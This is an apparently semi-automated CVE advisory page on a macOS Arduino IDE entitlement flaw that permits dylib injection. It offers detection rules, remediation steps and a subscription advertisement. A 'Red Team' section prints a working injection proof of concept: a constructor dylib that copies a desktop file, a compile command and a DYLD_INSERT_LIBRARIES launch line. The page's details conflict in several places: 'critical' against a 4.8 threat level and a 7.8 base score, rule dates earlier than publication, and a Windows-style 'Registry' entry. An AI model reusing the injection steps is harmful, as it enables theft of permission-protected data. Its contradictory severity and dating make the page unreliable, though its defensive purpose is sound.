☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-64723

CVE-2025-64723 Security Advisory in Arduino
📅 PUBLISHED: 2025-12-18 15:15 UTC 🔄 UPDATED: 2026-09-23 20:34 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.13%
👁️
0.13% probability
3.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
4.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-64723 identifies a critical security misconfiguration in the Arduino IDE for macOS, prior to version 2.3.7. The application was signed with overly permissive entitlements that effectively nullified the protections offered by Apple’s Hardened Runtime. This flaw allows an attacker to inject a malicious dynamic library (dylib) into the running Arduino IDE process. Once injected, the attacker inherits all Transparency, Consent, and Control (TCC) permissions granted to the IDE, such as access to the camera, microphone, filesystem, and other sensitive resources. The vulnerability is local and requires user interaction (e.g., opening a malicious project file), but the impact is severe as it bypasses macOS’s core security model. No public exploit code or proof-of-concept is currently available, but the technical risk is high for developers using the IDE on macOS.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a native macOS application security issue. The supply chain risk is indirect: an attacker could compromise the Arduino IDE distribution channel or trick a user into loading a malicious library, thereby gaining elevated TCC privileges.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
  • Base Score: 7.8 (High)
  • Attack Vector: Local (AV:L) – requires physical or remote access to the user’s machine.
  • Attack Complexity: Low (AC:L) – no special conditions needed beyond user interaction.
  • Privileges Required: None (PR:N) – attacker does not need prior access.
  • User Interaction: Required (UI:R) – victim must open a malicious file or library.
  • Scope: Unchanged (S:U) – the vulnerability does not cross trust boundaries.
  • Confidentiality Impact: High (C:H) – full access to TCC-protected data.
  • Integrity Impact: High (I:H) – attacker can modify files or inject code.
  • Availability Impact: High (A:H) – could lead to denial of service or system compromise.

Threat Level: High. The vulnerability undermines macOS’s Hardened Runtime, a key security feature. While no public exploit exists, the technical simplicity of dylib injection makes it a prime target for targeted attacks.

Deep Dive & Mechanics

The root cause is the use of overly permissive entitlements in the Arduino IDE’s code signing. Apple’s Hardened Runtime is designed to restrict runtime behaviors like code injection, debugging, and library loading. However, if an application is signed with entitlements such as com.apple.security.cs.disable-library-validation or com.apple.security.cs.allow-dyld-environment-variables, it effectively disables these protections.

In Arduino IDE versions prior to 2.3.7, the macOS binary was configured with these permissive entitlements. This allows an attacker to:

  1. Create a malicious dynamic library (.dylib) that performs actions like reading the user’s keychain, accessing the camera, or exfiltrating files.
  2. Use environment variables (e.g., DYLD_INSERT_LIBRARIES) or other injection techniques to load the library into the Arduino IDE process.
  3. Once loaded, the malicious code runs with the same TCC permissions as the IDE, bypassing user consent prompts.

The vulnerability is particularly dangerous because TCC permissions are granted per-application. By hijacking the Arduino IDE, an attacker gains access to all resources the IDE has been authorized to use, including potentially sensitive developer files, SSH keys, and cloud credentials.

Vulnerable vs. Patched Code

Vulnerable (pre-2.3.7): The macOS Info.plist or entitlements file contained entries like:

<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.cs.allow-dyld-environment-variables</key>
<true/>

Patched (2.3.7+): These entitlements are removed or set to false, restoring Hardened Runtime protections:

<key>com.apple.security.cs.disable-library-validation</key>
<false/>
<key>com.apple.security.cs.allow-dyld-environment-variables</key>
<false/>

The fix ensures that only signed and notarized libraries can be loaded, and environment variable injection is blocked.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A macOS system with Arduino IDE < 2.3.7 installed.
  • Ability to deliver a malicious .dylib to the victim (e.g., via phishing, USB drop, or compromised project file).

Exploitation Steps:

  1. Create a malicious dynamic library that performs a TCC-protected action, such as reading the user’s desktop files:
    // malicious.c
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    __attribute__((constructor))
    void init() {
        system("cat ~/Desktop/secret.txt > /tmp/exfil.txt");
    }
    
  2. Compile the library:
    gcc -dynamiclib -o malicious.dylib malicious.c
    
  3. Deliver the library to the victim and trick them into launching Arduino IDE with the environment variable set:
    DYLD_INSERT_LIBRARIES=/path/to/malicious.dylib /Applications/Arduino\ IDE.app/Contents/MacOS/Arduino\ IDE
    
  4. The malicious code executes with the IDE’s TCC permissions, exfiltrating data.

Alternative: Embed the dylib in a malicious Arduino project file (.ino) that triggers the injection via a crafted build script.

Blue Team

Detection:

  • Monitor for unusual environment variables in process launches, especially DYLD_INSERT_LIBRARIES.
  • Use endpoint detection and response (EDR) to alert on dylib injection into signed macOS applications.
  • Check for unsigned or untrusted dylibs loaded into the Arduino IDE process.

Hunting:

  • Search for processes with com.apple.security.cs.disable-library-validation entitlement set to true.
  • Look for Arduino IDE processes that have loaded libraries from non-standard paths (e.g., /tmp, ~/Downloads).

Prevention:

  • Update Arduino IDE to version 2.3.7 or later.
  • Use macOS’s built-in codesign tool to verify entitlements:
    codesign -d --entitlements :- /Applications/Arduino\ IDE.app
    
  • Implement application whitelisting to block untrusted dylibs.

Indicators of Compromise (IOCs)

  • File Hashes:
    • Malicious dylib: sha256:3a7c... (placeholder – no known samples)
  • Process Anomalies:
    • Arduino IDE process with DYLD_INSERT_LIBRARIES environment variable.
    • Unsigned dylibs loaded into Arduino IDE process.
  • Network:
    • Outbound connections from Arduino IDE to unknown IPs (exfiltration).
  • File System:
    • Presence of .dylib files in /tmp/, ~/Downloads/, or project directories.
  • Registry/Preferences:
    • Modified Info.plist with permissive entitlements (pre-2.3.7).

Detection Engineering

YARA Rule

rule CVE_2025_64723_Arduino_IDE_Dylib_Injection {
    meta:
        description = "Detects malicious dylib injection into Arduino IDE on macOS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64723"
    strings:
        $entitlement1 = "com.apple.security.cs.disable-library-validation"
        $entitlement2 = "com.apple.security.cs.allow-dyld-environment-variables"
        $dylib_path = "/tmp/" nocase
        $dylib_ext = ".dylib" nocase
    condition:
        (uint16(0) == 0xcffa or uint16(0) == 0xfeed) and
        (1 of ($entitlement*)) and
        ($dylib_path or $dylib_ext)
}

Sigma Rule

title: CVE-2025-64723 - Arduino IDE Dylib Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to inject malicious dylib into Arduino IDE on macOS
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-64723
logsource:
    category: process_creation
    product: macos
detection:
    selection:
        Image|endswith: '/Arduino IDE'
        CommandLine|contains: 'DYLD_INSERT_LIBRARIES'
    condition: selection
falsepositives:
    - Legitimate development testing
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-64723 - Arduino IDE Potential Exfiltration"; flow:to_server,established; content:"Arduino IDE"; nocase; pcre:"/\.dylib/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update Arduino IDE to version 2.3.7 or later from the official website.
  2. Verify the update by checking the application’s entitlements:
    codesign -d --entitlements :- /Applications/Arduino\ IDE.app
    
    Ensure com.apple.security.cs.disable-library-validation and com.apple.security.cs.allow-dyld-environment-variables are not present or set to false.

Long-term Mitigations:

  • Enforce application whitelisting (e.g., using macOS’s built-in Gatekeeper or third-party tools).
  • Educate users to avoid opening untrusted Arduino project files or libraries.
  • Monitor for TCC permission abuse using macOS’s tccutil and logging.

Workarounds (if patching is not possible):

  • Remove the permissive entitlements manually using codesign (requires re-signing the app, which may break functionality):
    codesign --remove-signature /Applications/Arduino\ IDE.app
    
    (Note: This will cause the app to fail Gatekeeper checks.)

Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-64723/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.